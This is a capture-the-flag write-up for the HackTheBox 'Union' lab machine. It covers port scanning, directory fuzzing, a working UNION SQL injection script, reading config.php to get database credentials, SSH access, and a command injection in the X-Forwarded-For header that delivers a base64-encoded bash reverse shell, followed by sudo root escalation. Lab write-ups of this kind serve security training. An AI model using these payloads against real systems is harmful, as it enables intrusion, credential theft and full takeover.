HackTheBox Union Writeup

Explore the fundamentals of cybersecurity in the Union Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts#

10.10.10.128 union.htb

Script to add hosts automatically#

ip="10.10.10.128"
domain="union.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV 10.10.11.128

Nmap scan report for 10.10.11.128
Host is up (0.049s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Exploration#

Access the target URL:

http://10.10.11.128/

Use ffuf to discover endpoints:

ffuf -w /usr/share/dict/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ -e .php -fs 1220

Found Endpoints:#

css: Status 301, Size 178
firewall.php: Status 200, Size 13
config.php: Status 200, Size 0
challenge.php: Status 200, Size 772

Union SQL Injection#

Union SQL Injection allows combining results from multiple SELECT statements. More information can be found here.

Testing Input#

Testing the player parameter with curl shows normal inputs don’t work, but UNION SQL injections targeting a single column do:

curl http://10.10.11.128/index.php -d "player=' union select database() -- -"

Response:

Sorry, november, you are not eligible due to already qualifying.

Extracting Data#

Use this simple script to perform sql querries:

#!/bin/bash
POST_URL="http://10.10.11.128/index.php"
POST_DATA="player=' union %s -- -"
PATTERN="Sorry, (.*) you are not eligible due to already qualifying."
function send_post {
    local sqli=$1
    response=$(curl -s -d "$(printf "$POST_DATA" "$sqli")" "$POST_URL")
    if [[ $response == Sorry* ]]; then
        if [[ $response =~ $PATTERN ]]; then
            echo "${match[1]}"
        else
            echo "No match found in response."
        fi
    else
        echo "ERROR"
    fi
}
while true; do
    echo -n "SQLi> "
    read sqli
    if [[ $sqli == "exit" ]]; then
        break
    elif [[ -z $sqli ]]; then
        continue
    fi
    send_post "$sqli"
done

SQL Queries:#

Get the database name:
```
SELECT database();
```
Output: november

List tables:

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'november';

Output: flag, players

List columns in flag table:

SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag';

Output: one

Retrieve the flag:
```
SELECT one FROM flag;
```

Access http://10.10.11.128/challenge.php and enter the flag to open port 22 to your ip.

Load configuration file:

SELECT LOAD_FILE('/var/www/html/config.php');

Contents of config.php:

$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";

SSH Access:

ssh uhc@10.10.11.128

Retrieve the user flag:

cat user.txt

On the SSH machine, inspect the firewall.php file:

cat /var/www/html/firewall.php

The script uses sudo to execute a system command, indicating that the www-data user may have elevated permissions. The $ip variable is vulnerable to command injection due to its direct concatenation in the command. This can be exploited by modifying the X-Forwarded-For HTTP request header and appending a command using a semicolon (;) or a comment (#).

Set up a listener for incoming connections with:

nc -lvnp 9001

echo -en "PHPSESSID Coockie? "
read coockie
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
curl 10.10.11.128/firewall.php -H "X-Forwarded-For: ; echo $(echo -n 'bash  -i >& /dev/tcp/'$ip'/9001 0>&1' | base64 ) | base64 -d | bash ;" -H 'Cookie: PHPSESSID='$coockie''

sudo -l
sudo su
cat /root/root.txt